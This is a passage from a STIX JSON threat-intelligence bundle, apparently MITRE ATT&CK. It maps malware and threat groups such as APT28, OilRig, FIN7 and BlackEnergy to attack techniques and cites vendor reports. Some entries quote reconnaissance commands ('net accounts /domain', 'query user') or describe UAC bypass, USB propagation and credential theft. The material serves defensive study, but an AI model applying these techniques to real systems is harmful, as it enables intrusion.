            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--08738197-aa06-4177-acc2-10569c39f423",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host (VBScript) and runs arbitrary shellcode .(Citation: Github Koadic)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "url": "https://github.com/zerosum0x0/koadic"
                }
            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "type": "relationship",
            "modified": "2020-03-19T18:05:39.185Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--8961d93e-ec51-42dd-8f76-54d46ea21967",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[H1N1](https://attack.mitre.org/software/S0132) bypasses user access control by using a DLL hijacking vulnerability in the Windows Update Standalone Installer (wusa.exe).(Citation: Cisco H1N1 Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cisco H1N1 Part 2",
                    "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.",
                    "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"
                }
            ],
            "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "type": "relationship",
            "modified": "2019-04-29T18:23:16.039Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--87e080cf-b8c0-4679-bcfb-ff77ab7698f3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The initial beacon packet for [Misdat](https://attack.mitre.org/software/S0083) contains the operating system version of the victim.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-18T14:51:57.953Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--aec49e52-c54e-45be-a476-70aa0dc42cfb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has used a plug-in to gather credentials stored in files on the host by various software programs, including The Bat! email client, Outlook, and Windows Credential Store.(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "source_name": "F-Secure BlackEnergy 2014"
                },
                {
                    "source_name": "Securelist BlackEnergy Nov 2014",
                    "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                }
            ],
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
            "type": "relationship",
            "modified": "2020-06-02T16:14:00.488Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--79f89b33-046c-4bfa-a12d-c50fa0d84ea6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware can use a SOAP Web service to communicate with its C2 server.(Citation: Unit 42 Magic Hound Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Magic Hound Feb 2017",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                }
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "type": "relationship",
            "modified": "2020-03-20T21:19:17.635Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--5e39caf2-083b-4e4c-b04f-d83c512341cb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used net.exe in a script with <code>net accounts /domain</code> to find the password policy of a domain.(Citation: FireEye Targeted Attacks Middle East Banks)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Targeted Attacks Middle East Banks",
                    "description": "Singh, S., Yin, H. (2016, May 22). https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html. Retrieved April 5, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5",
            "type": "relationship",
            "modified": "2020-03-18T20:18:02.930Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--10cc3288-d06c-456c-bc0e-b10a8c5abeaa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) used other victims as proxies to relay command traffic, for instance using a compromised Georgian military email server as a hop point to NATO victims. The group has also used a tool that acts as a proxy to allow C2 even if the victim is behind a router. [APT28](https://attack.mitre.org/groups/G0007) has also used a machine to relay and obscure communications between [CHOPSTICK](https://attack.mitre.org/software/S0023) and their server.(Citation: FireEye APT28)(Citation: Bitdefender APT28 Dec 2015)(Citation: DOJ GRU Indictment Jul 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                },
                {
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "source_name": "Bitdefender APT28 Dec 2015"
                },
                {
                    "url": "https://www.justice.gov/file/1080281/download",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "source_name": "DOJ GRU Indictment Jul 2018"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
            "type": "relationship",
            "modified": "2020-03-30T01:58:35.103Z",
            "created": "2017-05-31T21:33:27.038Z"
        },
        {
            "id": "relationship--4612c0bd-f6f7-4c71-92dd-9f26ff1c3eef",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Thrip](https://attack.mitre.org/groups/G0076) has used WinSCP to exfiltrate data from a targeted organization over FTP.(Citation: Symantec Thrip June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets",
                    "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.",
                    "source_name": "Symantec Thrip June 2018"
                }
            ],
            "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
            "type": "relationship",
            "modified": "2020-03-16T18:05:41.507Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7f3c015e-d95d-4d35-a583-236134464554",
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            "description": "[Agent.btz](https://attack.mitre.org/software/S0092) drops itself onto removable media devices and creates an autorun.inf file with an instruction to run that file. When the device is inserted into another system, it opens autorun.inf and loads the malware.(Citation: ThreatExpert Agent.btz)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ThreatExpert Agent.btz",
                    "description": "Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.",
                    "url": "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html"
                }
            ],
            "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4",
            "type": "relationship",
            "modified": "2020-03-11T17:45:18.410Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1f7b17e9-9ad3-42dd-ab92-e3afe752247b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN7](https://attack.mitre.org/groups/G0046) malware has created scheduled tasks to establish persistence.(Citation: FireEye FIN7 April 2017)(Citation: Morphisec FIN7 June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "source_name": "FireEye FIN7 April 2017"
                },
                {
                    "source_name": "Morphisec FIN7 June 2017",
                    "description": "Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.",
                    "url": "http://blog.morphisec.com/fin7-attacks-restaurant-industry"
                },
                {
                    "source_name": "FireEye FIN7 Aug 2018",
                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
                },
                {
                    "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.",
                    "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/",
                    "source_name": "Flashpoint FIN 7 March 2019"
                }
            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:27:24.610Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b22e151c-4919-4160-9f5c-143484948003",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Comnie](https://attack.mitre.org/software/S0244) collects the hostname of the victim machine.(Citation: Palo Alto Comnie)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Comnie",
                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"
                }
            ],
            "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T00:43:32.019Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b8df1d2c-f014-4f51-a277-8050adafb865",
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            "description": "[FIN8](https://attack.mitre.org/groups/G0061) aggregates staged data from a network into a single location.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0",
            "type": "relationship",
            "modified": "2020-03-16T23:55:30.097Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--87f4c47d-b94d-4a1e-9c4b-be671a99e6f0",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9ab7de33-99b2-4d8d-8cf3-182fa0015cc2",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334",
            "type": "relationship",
            "modified": "2020-08-03T16:47:37.375Z",
            "created": "2017-05-31T21:33:27.021Z"
        },
        {
            "id": "relationship--a1f198ef-af69-4c0f-b3ed-0b47ad6167fe",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--24478001-2eb3-4b06-a02e-96b3d61d27ec",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e",
            "type": "relationship",
            "modified": "2020-03-24T14:09:11.761Z",
            "created": "2017-05-31T21:33:27.025Z"
        },
        {
            "id": "relationship--8140f09f-af3b-45e1-ae7c-f2dc85b8930e",
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            "description": "[VERMIN](https://attack.mitre.org/software/S0257) can perform screen captures of the victim\u2019s machine.(Citation: Unit 42 VERMIN Jan 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 VERMIN Jan 2018",
                    "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
                }
            ],
            "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-16T19:50:58.020Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--352e990d-48be-4d1a-bd8a-bc27d641aa1f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used a CHM payload to load and execute another malicious file once delivered to a victim.(Citation: Palo Alto OilRig May 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "source_name": "Palo Alto OilRig May 2016"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d",
            "type": "relationship",
            "modified": "2019-09-04T22:55:41.325Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1035fe41-56b9-4966-bf3b-109ae950c908",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MoonWind](https://attack.mitre.org/software/S0149) has a command to return a list of running processes.(Citation: Palo Alto MoonWind March 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
                }
            ],
            "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-16T17:16:53.513Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--bc60180b-2db6-4e0d-8b98-d349db637777",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Elise](https://attack.mitre.org/software/S0081) communicates over HTTP or HTTPS for C2.(Citation: Lotus Blossom Jun 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html",
                    "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "source_name": "Lotus Blossom Jun 2015"
                }
            ],
            "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:04:16.878Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ea4c3651-b2a3-418e-8d3b-3c8075b988ef",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BUBBLEWRAP](https://attack.mitre.org/software/S0043) collects system information, including the operating system version and hostname.(Citation: FireEye admin@338)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye admin@338",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"
                }
            ],
            "source_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T00:28:19.701Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--79eff26b-058c-4a5c-ac7a-f6e6c778d934",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used the command <code>query user</code> on victim hosts.(Citation: US-CERT TA18-074A)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.667Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--69127424-40bb-4b92-8558-6fe1561e0a59",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Brave Prince](https://attack.mitre.org/software/S0252) gathers file and directory information from the victim\u2019s machine.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.867Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--70bc1a16-3c57-4198-b2f9-c7f27bec271c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used legitimate local admin account credentials.(Citation: FireEye APT32 May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "source_name": "FireEye APT32 May 2017"
                }
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2",
            "type": "relationship",
            "modified": "2020-03-16T18:30:14.861Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b13fd1c9-a42c-45fc-9db8-1cd691740e0a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) deletes its original installer file once installation is complete.(Citation: ZScaler Hacking Team)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ZScaler Hacking Team",
                    "description": "Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.",
                    "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html"
                }
            ],
            "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-16T16:56:45.655Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--59df5f14-e570-417e-8184-e8e7c6c1ea75",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Shamoon](https://attack.mitre.org/software/S0140) contains base64-encoded strings.(Citation: Palo Alto Shamoon Nov 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
                }
            ],
            "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-04-24T23:59:16.363Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e7126875-bb0f-48d0-845f-6b8951ce8507",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve files.(Citation: Symantec Pasam May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Pasam May 2012",
                    "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"
                }
            ],
            "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2020-02-11T19:38:06.259Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--42ce3f19-e995-4a9e-b7d6-74a5a28824f9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SHUTTERSPEED](https://attack.mitre.org/software/S0217) can collect system information.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--4189a679-72ed-4a89-a57c-7f689712ecf8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1"
        },
        {
            "id": "relationship--44090eb6-1166-4986-8583-60dcc8e69cc7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can use port 995 for C2.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0"
        },
        {
            "id": "relationship--f5fee3da-a3ef-4a81-a70c-9660ab1fb3d6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the deletFileFromPath function to delete a specified file using the NSFileManager:removeFileAtPath method.(Citation: XAgentOSX 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "XAgentOSX 2017",
                    "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.",
